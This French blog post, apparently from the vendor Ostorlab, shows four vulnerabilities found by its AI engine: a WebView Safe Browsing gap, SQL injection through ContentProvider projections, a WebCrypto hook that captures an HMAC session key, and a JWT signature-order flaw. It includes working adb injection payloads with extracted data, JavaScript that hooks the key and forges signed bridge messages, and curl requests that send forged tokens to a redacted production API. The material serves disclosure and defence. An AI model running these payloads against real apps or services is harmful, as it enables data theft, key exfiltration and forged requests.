Aller plus loin : le moteur d’IA d’Ostorlab découvre des classes de vulnérabilités inconnues
Le moteur d’IA d’Ostorlab, fondé sur le raisonnement, dépasse les limites des approches à base de règles pour révéler des vulnérabilités jusque-là inconnues et difficiles à détecter, dont des contournements de Safe Browsing dans WebView, des injections SQL via les projections, l’exfiltration de clés WebCrypto et des défauts d’ordre de vérification des JWT, pour une couverture de sécurité plus profonde, plus intelligente et complémentaire.
Le scan automatisé de vulnérabilités repose, par nature, sur des règles. Ces règles se heurtent à deux limites inévitables :
- Elles ne détectent que ce que nous connaissons déjà.
- Comme les règles sont coûteuses à construire et à maintenir, nous privilégions les problèmes les plus risqués et les plus probables.
Les inconnues et les cas limites isolés, comme une particularité propre à un langage qui peut malgré tout conduire à une RCE, restent donc en dehors de la couverture habituelle.
Les tests assistés par IA et dotés de raisonnement brisent ce moule. Ils peuvent formuler des hypothèses, s’adapter au contexte et sonder des pistes qu’aucune règle statique n’a jamais codées.
Cela dit, ils ne remplacent pas encore tout le reste. Du point de vue coûts-bénéfices, un moteur de règles bien réglé exécute toujours les vérifications connues beaucoup plus vite et à moindre coût.
Assez de théorie, passons à la pratique!
Les exemples ci-dessous montrent le moteur d’IA d’Ostorlab mettant au jour des vulnérabilités réellement inédites dont nous ignorions la possibilité, ainsi que des problèmes marginaux et difficiles à détecter que l’automatisation actuelle manque régulièrement.
Étude de cas 1 : contournement de Safe Browsing dans WebView
Lors de l’évaluation d’une application mobile, le moteur d’IA est tombé sur une implémentation WebView standard qui semblait sûre au premier abord. L’application chargeait du contenu distant avec des configurations de sécurité standard, mais l’approche systématique de l’IA a révélé un oubli intéressant.
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webView.loadUrl(url);
L’IA a commencé par analyser la configuration de la WebView au regard de la documentation de sécurité d’Android. Alors que la plupart des guides de sécurité se concentrent sur des mauvaises configurations évidentes, comme l’activation de l’accès aux fichiers ou des interfaces JavaScript, l’IA a constaté que Safe Browsing, la protection de Google contre les logiciels malveillants et le phishing, n’était ni explicitement activé ni vérifié.
L’IA a testé systématiquement le comportement de la WebView face à divers scénarios de menace :
- Test de détection des logiciels malveillants : chargement de domaines connus pour héberger des malwares
- Test de détection du phishing : création de pages de phishing convaincantes
- Analyse du contenu mixte : test de contenu HTTP au sein de contextes HTTPS
- Validation des certificats : examen de la gestion des certificats SSL/TLS
Découverte critique :
// AI-generated test payload
Adb shell am start -a android.inetnt.action.VIEW -n xxx/.ArticleViewerActivity –es url “https://testsafebrowsing.appspot.com/s/phishing.html”
// This resolved to a known malicious IP without triggering Safe Browsing warnings
L’IA a constaté que, si Safe Browsing est activé par défaut sur Android 8.0+, l’application ne vérifiait jamais que cette protection était active, et que, sur les anciennes versions d’Android ou les ROM modifiées, cette protection pouvait être désactivée ou contournée.
Dans ce cas, l’absence de vérification de Safe Browsing accroît le risque de phishing, car l’application n’utilise pas de liste d’autorisation.
L’IA a démontré qu’un attaquant pouvait :
- Contourner la protection Safe Browsing sur des configurations d’appareil vulnérables
- Servir du contenu malveillant qui paraît légitime aux utilisateurs
- Exploiter les relations de confiance entre l’application et le contenu distant
Correctif généré par l’IA :
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
// Explicitly enable and verify Safe Browsing
webSettings.setSafeBrowsingEnabled(true);
webView.setSafeBrowsingWhitelist(Arrays.asList("trusted-domain.com"), null);
webView.setWebViewClient(new WebViewClient() {
@Override
public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
int threatType, SafeBrowsingResponse callback) {
// AI identified this callback as critical for proper threat handling
if (threatType == SAFE_BROWSING_THREAT_MALWARE ||
threatType == SAFE_BROWSING_THREAT_PHISHING) {
callback.backToSafety(true);
Log.w("Security", "Blocked malicious URL: " + request.getUrl());
}
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// AI-generated additional validation
String url = request.getUrl().toString();
if (isKnownMaliciousDomain(url) || containsSuspiciousPatterns(url)) {
Log.w("Security", "Blocked suspicious URL: " + url);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
});
Les connaissances sur Safe Browsing sont propres à Android, et, à moins qu’un pentesteur n’ait déjà rencontré ce point ou travaillé dessus, il est rare que ce type de vulnérabilité soit couvert lors d’une évaluation.
Étude de cas 2 : injection SQL dans les projections de requête
La deuxième découverte concerne une injection SQL via les projections de requête dans SQLite.
La vulnérabilité se trouvait dans le FileContentProvider de l’application, exporté sans restriction de permissions et donc accessible à n’importe quelle application de l’appareil.
Ce qui a rendu cette découverte remarquable, c’est la capacité du moteur à reconnaître qu’une injection SQL est possible à l’intérieur d’une projection de requête. Il s’agit d’un vecteur d’attaque qui n’avait jamais été documenté comme pouvant être ciblé par une injection SQL.
Le moteur a fait preuve d’une chasse aux vulnérabilités méthodique : il a d’abord réalisé une analyse statique de l’APK pour énumérer tous les ContentProviders, leurs autorités et leurs configurations de permissions.
Il a ensuite constaté que le provider situé à content://[REDACTED].myblocnote.provider/ était accessible de l’extérieur et ne validait pas correctement les entrées.
Le moteur est ensuite passé aux tests dynamiques, en utilisant des commandes ADB spécialement construites pour injecter des expressions SQL via le paramètre de projection.
Il a testé systématiquement diverses techniques d’injection SQL via le paramètre de projection, en commençant par une simple évaluation de constante (--projection "size:1") puis en passant progressivement à des attaques complexes d’énumération du schéma.
Le moteur a extrait avec succès l’intégralité du schéma de la base de données en injectant (SELECT group_concat(name) FROM sqlite_master), révélant des tables comme android_metadata, files, sqlite_sequence, et d’autres qui ne devraient jamais être accessibles à des applications externes.
Ce qui distingue cette découverte, c’est la capacité du moteur à contourner les limitations de la ligne de commande et à démontrer des techniques d’exploitation réalistes.
Il a astucieusement utilisé des commentaires SQL (/x/) et la fonction char() pour contourner les problèmes de découpage par le shell, montrant une connaissance pratique qui va au-delà de l’identification théorique d’une vulnérabilité. Par exemple, pour extraire les informations sur les colonnes de la table files, le moteur a construit la requête :
--projection "size:(SELECT group_concat(name) FROM pragma_table_info(char(102,105,108,101,115)))"
Cela a révélé la structure interne de la base de données (_id, name, path, size columns), démontrant une divulgation complète du schéma. Le moteur a ensuite démontré ses capacités d’exfiltration de données en extrayant de véritables noms de fichiers via des sous-requêtes, en tronquant les résultats pour éviter une sortie trop volumineuse tout en prouvant la gravité de la vulnérabilité.
Comment la vulnérabilité a été confirmée (outils et preuves)
- adb shell content query avec des entrées de projection séparées par des deux-points ; parenthèses échappées pour les appels de fonction et de sous-sélection ; utilisation occasionnelle des commentaires SQL
/x/et dechar()pour éviter les problèmes de découpage et de guillemets de la ligne de commande. - Exemples de confirmations sur /root :
- Évaluation de constante :
- Commande :
adb shell content query --uri content://xxxxx.myblocnote.provider/root --projection "size:1" - Sortie (tronquée) :
Row: 0 size=1024, 1=1
- Commande :
- Fonction intégrée :
- Commande :
adb shell content query --projection "size:sqlite_version()" … - Sortie :
Row: 0 size=1024, sqlite_version()=3.44.3
- Commande :
- Noms du schéma via sqlite_master :
- Commande :
--projection "size:(SELECT/x/group_concat(name)FROM/x/sqlite_master)" - La sortie inclut :
android_metadata,files,sqlite_sequence,capabilities,uploads,camera_ uploads_sync,user_quotas
- Commande :
- Colonnes de files via pragma_table_info :
- Commande :
--projection "size:(SELECT/x/group_concat(name)FROM/x/pragma_table_info(char(102,105,108,101,115)))" - Sortie :
_id,name,path,size
- Commande :
- DDL (CREATE TABLE files) :
- Commande :
--projection "size:(SELECT/x/sql/x/FROM/x/sqlite_master/x/WHERE/x/name=char(102, 105,108,101,115)/x/AND/x/type=char(116,97,98,108,101)/x/LIMIT/x/1)" - Sortie (tronquée) :
CREATE TABLE files (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, path TEXT NOT NULL, size INTEGER)
- Commande :
- Comptage entre tables (capabilities) :
- Commande :
--projection "size:(SELECT/x/count(*)FROM/x/capabilities)" - Sortie (tronquée) :
…=0
- Commande :
- Échantillon de données réelles (noms de fichiers tronqués, quantité limitée) :
- Commande :
--projection "size:(SELECT/x/group_concat(substr(name,1,5),char(124))FROM/x/(SELECT/x/name/x/FROM/x/files/x/LIMIT/x/3))" - Sortie :
…=Docum|Image|Music
- Commande :
- Confirmation par erreur (fonction inconnue) :
- Commande :
--projection "size:pwned()" - Erreur (tronquée) :
android.database.sqlite.SQLiteException: no such function: pwned … while compiling: SELECT size, pwned() FROM files
- Commande :
- Colonne inconnue (pas de liste d’autorisation) :
- Commande :
--projection "size:non_existent_col" - Erreur (tronquée) :
no such column: non_existent_col … while compiling: SELECT size, non_existent_col FROM files
- Commande :
- Évaluation de constante :
- Confirmations sur les URI d’éléments :
- /file/1 :
--projection "size:1" -> Row includes “1=1”. - /directory/1 :
--projection "size:sqlite_version()" -> sqlite_version()
colonne renvoyée.
- /file/1 :
Étude de cas 3 : hooking de WebCrypto pour exfiltrer le secret de session
Cette vulnérabilité a été trouvée dans une application qui avait passé un test d’intrusion humain et qui avait échappé aux testeurs humains.
Il s’agit d’une vulnérabilité de timing d’injection dans un provider basé sur WebView. Le provider est injecté à la fin du document, ce qui permet aux scripts de la page de s’exécuter en premier et de hooker WebCrypto. Le provider utilise window.crypto.subtle pour importer et utiliser le secret HMAC à des fins de signature. Les fonctions hookées peuvent lire le matériel cryptographique de la clé et l’exfiltrer, ce qui permet à n’importe quel script de forger des messages signés que le bridge natif acceptera comme authentiques.
Selon le moteur : cette classe de vulnérabilités est courante lorsque des scripts sensibles du point de vue de la sécurité sont injectés tardivement dans des pages hostiles.
Méthodologie d’attaque
- L’attaquant s’assure que du JavaScript s’exécute avant l’injection du provider (trivial pour n’importe quelle page).
- Il hooke crypto.subtle.importKey/sign pour observer le matériel cryptographique de la clé à l’initialisation du provider.
- Il extrait le secret par session (la clé brute) et calcule des HMAC valides pour des requêtes arbitraires.
- Il envoie des messages forgés via window.ReactNativeWebView.postMessage avec des signatures valides.
A) Hooker SubtleCrypto pour exfiltrer la clé HMAC au rechargement
// Run BEFORE provider injection (e.g., in-page script, or paste then reload)
const origImportKey = crypto.subtle.importKey;
crypto.subtle.importKey = async function(fmt, keyData, alg, extractable, usages) {
if (fmt === 'raw' && alg && (alg.name || alg) === 'HMAC') {
const u8 = new Uint8Array(keyData);
const hex = Array.from(u8).map(x => x.toString(16).padStart(2,'0')).join('');
console.log('Captured HMAC secret (hex):', hex);
}
return origImportKey.apply(this, arguments);
};
// Reload the page; when the provider initializes at document-end, the secret is logged.
Résultat observé : la console du navigateur affiche en hexadécimal le secret par session.
B) Forger un rpc_request signé à l’aide du secret capturé
// Using the secret captured above, compute a valid signature and post directly
async function sign(secretHex, obj) {
const key = await crypto.subtle.importKey('raw', new Uint8Array(objHex(secretHex)), { name:'HMAC', hash:'SHA-256' }, false, ['sign']);
const data = new TextEncoder().encode(JSON.stringify(obj));
const sig = await crypto.subtle.sign('HMAC', key, data);
return Array.from(new Uint8Array(sig)).map(x => x.toString(16).padStart(2,'0')).join('');
}
function objHex(h) { return h.match(/../g).map(b => parseInt(b,16)); }
(async () => {
const unsigned = { id: 'attacker-1', method: 'rpc_request', context: { network: 'evm', method: 'eth_chainId', params: [] } };
const signature = await sign('<PASTE_SECRET_HEX_HERE>', unsigned);
const msg = { ...unsigned, signature };
window.ReactNativeWebView.postMessage(JSON.stringify(msg));
})();
Étude de cas 4 : contournement de la vérification de signature JWT
Voici un autre exemple intéressant de bug difficile à découvrir, avec ci-dessous la sortie du moteur et la manière dont il a confirmé le problème :
Les preuves montrent que le service évalue les claims du JWT avant de vérifier les signatures.
Les jetons portant des signatures invalides ou fournies par l’attaquant, ainsi que des signatures délibérément corrompues, produisent des erreurs liées à l’émetteur plutôt que des échecs de signature sur l’ensemble des endpoints protégés. Cela confirme un contournement de la vérification de signature, ou une inversion de l’ordre des contrôles, dans le pipeline de validation des JWT.
- Hôte affecté : https://gateway.[REDACTED]-prod.com (HTTP/2 via CloudFront → Kestrel)
- Confirmé sur les endpoints : GET /api/consumer/user/kyc, GET /api/consumer/accounts/USD (issu d’un jeu de données antérieur), et comportement mis en contraste sur GET /api/consumer/features (public/non authentifié)
- Algorithmes : RS256 et HS256 affectés ; alg=none rejeté (la présence d’une signature est exigée, mais elle n’est pas validée)
Reproduction et preuves brutes
Contrôle A : aucun jeton (référence)
curl -i --http2 --compressed \
-H 'accept: application/json' \
-H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' \
-H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' \
-H 'accept-encoding: gzip' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
Extrait de la réponse :
HTTP/2 401
www-authenticate: Bearer error="invalid_token"
content-length: 0
Contrôle B : un jeton alg=none (sans signature) est rejeté (attendu)
curl -i --http2 --compressed \
-H 'accept: application/json' \
-H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' \
-H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' \
-H 'accept-encoding: gzip' \
-H 'Authorization: Bearer [REDACTED]' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
Extrait de la réponse :
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The signature is invalid"
content-length: 0
Interprétation : le service exige un champ de signature. Les tests suivants montrent qu’il ne vérifie pas l’intégrité de la signature des jetons signés.
Preuve principale 1 : jeton RS256 signé avec la clé de l’attaquant et un JWK fourni dans l’en-tête → erreur d’émetteur au lieu d’une erreur de signature
Jeton (décodé) :
{
"header": {
"alg": "RS256",
"typ": "JWT",
"kid": "test-rsa-1",
"jwk": {"kty": "RSA", "n": "<attacker-n>", "e": "AQAB"}
},
"payload": {
"sub": "+50644440002",
"iss": "[REDACTED]",
"aud": "[REDACTED]-mobile",
"iat": 1759166743,
"nbf": 1759166743,
"exp": 1759167403
}
}
Requête :
curl -i --http2 --compressed \
-H 'accept: application/json' -H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' -H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' -H 'accept-encoding: gzip' \
-H 'Authorization: Bearer <attacker-RS256-token-with-jwk-header>' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
Extrait de la réponse :
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer '[REDACTED]' is invalid"
content-length: 0
Interprétation : le serveur est passé à la validation de l’émetteur au lieu de rejeter la requête pour clé inconnue ou non fiable, ou pour mauvaise signature.
Preuve principale 2 : jeton RS256 sans en-tête jwk, signé par l’attaquant → l’erreur d’émetteur persiste
Authorization: Bearer [REDACTED]
Extrait de la réponse :
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
Interprétation : toujours aucun rejet de la signature ; la validation des claims se poursuit.
Preuve principale 3 : jeton RS256 avec une signature délibérément corrompue → l’erreur d’émetteur persiste sur les endpoints protégés
Jeton altéré (seul le 3e segment est modifié ; l’en-tête et le payload sont inchangés) :
[REDACTED]
Réponses observées :
- GET /api/consumer/accounts/USD →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
- GET /api/consumer/user/kyc →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
Interprétation : malgré une signature défaillante, les contrôles des claims (émetteur) s’exécutent en premier.
Preuve principale 4 : jeton HS256 avec un secret arbitraire → erreur d’émetteur au lieu d’une erreur de signature ou d’algorithme
[REDACTED]
Extrait de la réponse :
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
Interprétation : l’incompatibilité d’algorithme ou de clé est ignorée ; les contrôles des claims se poursuivent.
Sonde corroborante : un RS256 à signature corrompue sur un endpoint authentifié renvoie une erreur d’émetteur.
Requête (une seule fois) :
curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
-H "accept: application/json" \
-H "user-agent: okhttp/4.12.0" \
-H "accept-encoding: gzip" \
-H "authorization: Bearer [REDACTED]" \
--compressed
Réponse (en-têtes à l’identique) :
HTTP/2 401
content-length: 0
date: Mon, 29 Sep 2025 18:30:50 GMT
server: Kestrel
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://attacker.invalid/issuer' is invalid"
Interprétation : l’endpoint authentifie les requêtes, mais évalue le claim d’émetteur à partir d’un jeton non vérifié.
Test de séquencement des claims : aligner uniquement iss, toujours avec une signature corrompue → l’émetteur reste invalide (ordre confirmé)
curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
-H "accept: application/json" \
-H "user-agent: okhttp/4.12.0" \
-H "accept-encoding: gzip" \
-H "authorization: Bearer [REDACTED]" \
--compressed
Réponse :
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://gateway.[REDACTED]-prod.com' is invalid"
Interprétation : les contrôles des claims continuent de s’exécuter (toujours l’émetteur), même si la signature est corrompue. L’ordre des contrôles est mal configuré.
Conclusion
Les scanners à base de règles excellent en vitesse et en couverture de ce qui est connu, mais ils manquent inévitablement l’inconnu et les cas isolés. Les cas présentés ici rendent cet écart tangible.
Une IA fondée sur le raisonnement, comme le moteur d’IA d’Ostorlab, comble cet écart en formulant des hypothèses, en adaptant ses sondes en temps réel et en faisant émerger des vulnérabilités qu’aucune règle figée n’avait anticipées. Il en résulte une stratégie complémentaire qui trouve des bugs différents (et plus nombreux).